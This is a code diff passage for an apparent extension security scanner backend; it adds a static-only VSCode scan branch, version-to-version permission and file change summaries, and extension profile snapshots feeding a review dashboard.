+ "optional_permissions_removed": 0, + "permission_changes": 0, + "manifest_changes": 0, + "files_added": 0, + "files_removed": 0, + "files_modified": 0, + "code_changes": 0, + }, + "diff": None, + } + + def _delta(key: str) -> dict: + d = snapshot_diff.get(key) or {} + return {"added": d.get("added") or [], "removed": d.get("removed") or []} + + perms = _delta("permissions") + host = _delta("host_permissions") + optional = _delta("optional_permissions") + manifest_changes = snapshot_diff.get("manifest_changes") or [] + files = snapshot_diff.get("files") or {} + files_added = files.get("added") or [] + files_removed = files.get("removed") or [] + files_modified = files.get("modified") or [] + + permission_changes = ( + len(perms["added"]) + len(perms["removed"]) + + len(host["added"]) + len(host["removed"]) + + len(optional["added"]) + len(optional["removed"]) + ) + code_changes = len(files_added) + len(files_removed) + len(files_modified) + + return { + "has_previous": True, + "previous_version": snapshot_diff.get("previous_version"), + "current_version": current_version, + "summary": { + "permissions_added": len(perms["added"]), + "permissions_removed": len(perms["removed"]), + "host_permissions_added": len(host["added"]), + "host_permissions_removed": len(host["removed"]), + "optional_permissions_added": len(optional["added"]), + "optional_permissions_removed": len(optional["removed"]), + "permission_changes": permission_changes, + "manifest_changes": len(manifest_changes), + "files_added": len(files_added), + "files_removed": len(files_removed), + "files_modified": len(files_modified), + "code_changes": code_changes, + }, + "diff": snapshot_diff, + } + + def _is_valid_embedding_vector(value: object) -> bool: if not isinstance(value, list) or len(value) == 0: return False @@ -302,6 +380,125 @@ def build_final_risk_summary( "scan_result": {key: int(counts[key]) for key in SEVERITY_KEYS}, } +# VSCode(VSIX) 전용 스캔 흐름. Chrome 경로와 완전히 분리된 additive 처리. +# 동적분석을 skip하고 정적 룰만 사용하며, vscode_analysis.decision으로 판정한다. +async def _run_vscode_scan( + *, + file: UploadFile, + file_path: str, + extID: str, + browser: str, + version: str, + extName: str, +) -> dict: + from backend.vscode_analysis.runner import run_vscode_static_analysis + + vscode_result = await run_in_threadpool(run_vscode_static_analysis, file_path) + + # 동적/난독화는 VSCode에서 실행하지 않음 (skipped) + dynamic_result = {"status": "skipped"} + obfuscation_analysis = {"status": "skipped"} + + # build_web_payload가 기대하는 static_result 번들 형태로 감싼다. + full_result = { + "status": "success" if vscode_result.get("status") == "ok" else "error", + "analysis_id": None, + "static_analysis": vscode_result, + } + + vscode_decision = vscode_result.get("decision", {}) or {} + # decision.py: suggest_reject=True면 reject 의도(build_web_payload가 review로 강등), + # 그 외엔 review. VSCode Tier1은 자동 approve 없음. + decision = "reject" if vscode_decision.get("suggest_reject") else "review" + + final_risk_summary = build_final_risk_summary( + extension_id=extID, + ext_name=extName, + browser=browser, + version=version, + static_result_bundle=full_result, + dynamic_result=dynamic_result, + obfuscation_result=obfuscation_analysis, + ) + scan_counts = final_risk_summary["scan_result"] + if scan_counts.get("critical", 0) > 0: + final_risk_summary["risk_level"] = "CRITICAL" + elif scan_counts.get("high", 0) > 0: + final_risk_summary["risk_level"] = "HIGH" + elif scan_counts.get("medium", 0) > 0: + final_risk_summary["risk_level"] = "MEDIUM" + else: + final_risk_summary["risk_level"] = "LOW" + final_risk_summary["recommended_decision"] = "review" + final_risk_summary["decision_reason"] = vscode_decision.get("reason", "") + + _fired = sorted({(f.get("rule_id") or f.get("rule") or "?") for f in vscode_result.get("findings", [])}) + print( + f"[VSCODE-SCAN] ext={extName}({extID}) v{version} " + f"counts={vscode_result.get('scan_result')} fired={_fired} " + f"decision={decision} suggest_reject={vscode_decision.get('suggest_reject')} " + f"reason={vscode_decision.get('reason')}", + flush=True, + ) + + web_payload = build_web_payload( + ext_id=extID, + ext_name=extName, + browser=browser, + version=version, + file_name=file.filename, + static_result=full_result, + obfuscation_result=obfuscation_analysis, + dynamic_result=dynamic_result, + rag_fingerprint_result={}, + rag_rerank_result={}, + final_risk_summary=final_risk_summary, + decision=decision, + ) + + # 대시보드 표시 교정: VSCode는 dynamic 부재라 build_web_payload가 overall.risk_level을 + # LOW로 깔 수 있다. 정적 severity 기반 값으로 교정 (공유 web_payload.py 미수정, 본 분기에서만). + if isinstance(web_payload.get("overall"), dict): + web_payload["overall"]["risk_level"] = final_risk_summary["risk_level"] + + # Nexus review/ 업로드 — 대시보드('승인 대기중인 앱')가 Nexus review 폴더를 읽으므로 필요. + # Chrome 경로(main.py nexus upload 블록)와 동일 함수·정책 재사용. + if os.getenv("ENABLE_NEXUS_UPLOAD", "true").strip().lower() == "true": + try: + await file.seek(0) + nexus_bucket = _decision_to_nexus_bucket(decision) + await upload_plugin( + browser=browser, extID=extID, version=version, + file=file, extName=extName, judge=decision, decision=nexus_bucket, + ) + print(f"✅ [VSCODE Nexus] {extID} → {nexus_bucket} 업로드 완료", flush=True) + except Exception as nexus_e: + print(f"⚠️ [VSCODE Nexus] 업로드 실패: {str(nexus_e).strip() or repr(nexus_e)}", flush=True) + + # Web UI(/api/receive)로 결과 전달 — Chrome 경로와 동일 ENABLE_WEB_FORWARD 정책. + if os.getenv("ENABLE_WEB_FORWARD", "false").strip().lower() == "true": + try: + await send_web(web_payload) + print(f"✅ [VSCODE Web-Forward] {extID} 전송 완료", flush=True) + except Exception as web_e: + print(f"⚠️ [VSCODE Web-Forward] 전송 실패: {str(web_e).strip() or repr(web_e)}", flush=True) + + return { + "status": "success", + "analysis_id": None, + "extension_id": final_risk_summary["extension_id"], + "program_name": final_risk_summary["program_name"], + "program_type": final_risk_summary["program_type"], + "scan_result": final_risk_summary["scan_result"], + "final_risk_summary": final_risk_summary, + "static_result": vscode_result, + "dynamic_result": dynamic_result, + "obfuscation_result": obfuscation_analysis, + "vscode_decision": vscode_decision, + "web_payload": web_payload, + } + + @app.post("/file_scan") async def scan( file: UploadFile = File(...), @@ -317,6 +514,25 @@ async def scan( with open(file_path, "wb") as buffer: shutil.copyfileobj(file.file, buffer) + # VSCode(VSIX)는 동적분석 불가 → 전용 정적 흐름으로 early-branch. + # Chrome/기타 브라우저는 아래 기존 경로를 그대로 탄다 (불변). + if (browser or "").strip().lower() == "vscode": + try: + return await _run_vscode_scan( + file=file, + file_path=file_path, + extID=extID, + browser=browser, + version=version, + extName=extName, + ) + except Exception as vscode_e: + print("\n" + "=" * 50) + print("❌ VSCode 정적 분석 파이프라인 에러:") + traceback.print_exc() + print("=" * 50 + "\n") + return {"status": "error", "message": str(vscode_e)} + dynamic_result = {"status": "skipped"} full_result = { "status": "skipped", @@ -698,6 +914,93 @@ async def scan( final_risk_summary["decision_reason"] = weighted_risk_result.get("decision_reason", "") decision = weighted_risk_result.get("recommended_decision", "review") + # extension profile (버전별 객관적 변경 이력 — 로컬 파일 저장) + # build_web_payload 이전에 실행하여 version_diff 를 web_payload 에 실어 보낸다. + extension_profile_result = { + "status": "skipped", + "enabled": os.getenv("ENABLE_EXTENSION_PROFILE", "true").strip().lower() == "true", + } + version_diff_payload = None + if extension_profile_result["enabled"]: + try: + from backend.profile.builder import build_profile, build_snapshot, validate_profile + from backend.profile.local_store import ( + load_profile, + make_blob_loader, + save_profile, + store_blobs, + ) + + snapshot, profile_file_bytes = build_snapshot(file_path) + # 업로드 시 지정한 버전을 정본으로 사용 (manifest.json의 version과 무관) + if version: + snapshot["version"] = str(version) + snapshot["verdict"] = { + "risk_grade": weighted_risk_result.get("risk_level"), + "result_id": base_filename, + "analyzed_at": snapshot["captured_at"], + } + store_blobs(profile_file_bytes) # 다음 버전 인라인 diff용 로컬 blob 저장 + + prev_profile = load_profile(extID) + prev_snapshots = (prev_profile or {}).get("snapshots") or [] + last_snapshot = prev_snapshots[-1] if prev_snapshots else None + + if ( + last_snapshot + and last_snapshot.get("version") == snapshot["version"] + and last_snapshot.get("content_hash") == snapshot["content_hash"] + ): + # 동일 버전·동일 내용 재스캔 → 프로필 갱신 생략 (idempotent) + extension_profile_result = { + "status": "unchanged", + "enabled": True, + "versions": len(prev_snapshots), + "latest_version": prev_profile.get("latest_version"), + } + version_diff_payload = _build_version_diff_payload( + last_snapshot.get("diff_from_previous"), snapshot["version"] + ) + print(f"ℹ️ [Profile] 변경 없음 (v{snapshot['version']}) — 갱신 생략") + else: + profile_doc = build_profile( + snapshot, + prev_profile, + ext_id=extID, + browser=browser, + ext_name=extName, + curr_file_bytes=profile_file_bytes, + blob_loader=make_blob_loader(), + ) + profile_errors = validate_profile(profile_doc) + if profile_errors: + raise RuntimeError(f"profile schema invalid: {profile_errors[:3]}") + + profile_path = save_profile(extID, profile_doc) + latest_snapshot = profile_doc["snapshots"][-1] + version_diff_payload = _build_version_diff_payload( + latest_snapshot.get("diff_from_previous"), snapshot["version"] + ) + extension_profile_result = { + "status": "success", + "enabled": True, + "path": str(profile_path), + "versions": len(profile_doc.get("snapshots", [])), + "latest_version": profile_doc.get("latest_version"), + } + print( + f"✅ [Profile] 저장 완료: {profile_path} " + f"(versions={extension_profile_result['versions']})" + ) + except Exception as profile_e: + profile_detail = str(profile_e).strip() or repr(profile_e) + extension_profile_result = { + "status": "error", + "enabled": True, + "message": profile_detail, + } + print(f"⚠️ [Profile] 생성 실패: {profile_detail}") + web_payload = build_web_payload( ext_id=extID, ext_name=extName, @@ -713,6 +1016,11 @@ async def scan( decision=decision, ) + # 버전 변경 사항 요약 + 전체 diff 를 web_payload 에 실어 + # 웹 UI 의 summary.json 에 자동 영속화되도록 한다. + if version_diff_payload is not None: + web_payload["version_diff"] = version_diff_payload + # web forward web_forward_result = { "status": "skipped", @@ -885,6 +1193,7 @@ async def scan( "slack_result": slack_result, "web_forward_result": web_forward_result, "nexus_upload_result": nexus_upload_result, + "extension_profile_result": extension_profile_result, "web_payload": web_payload, }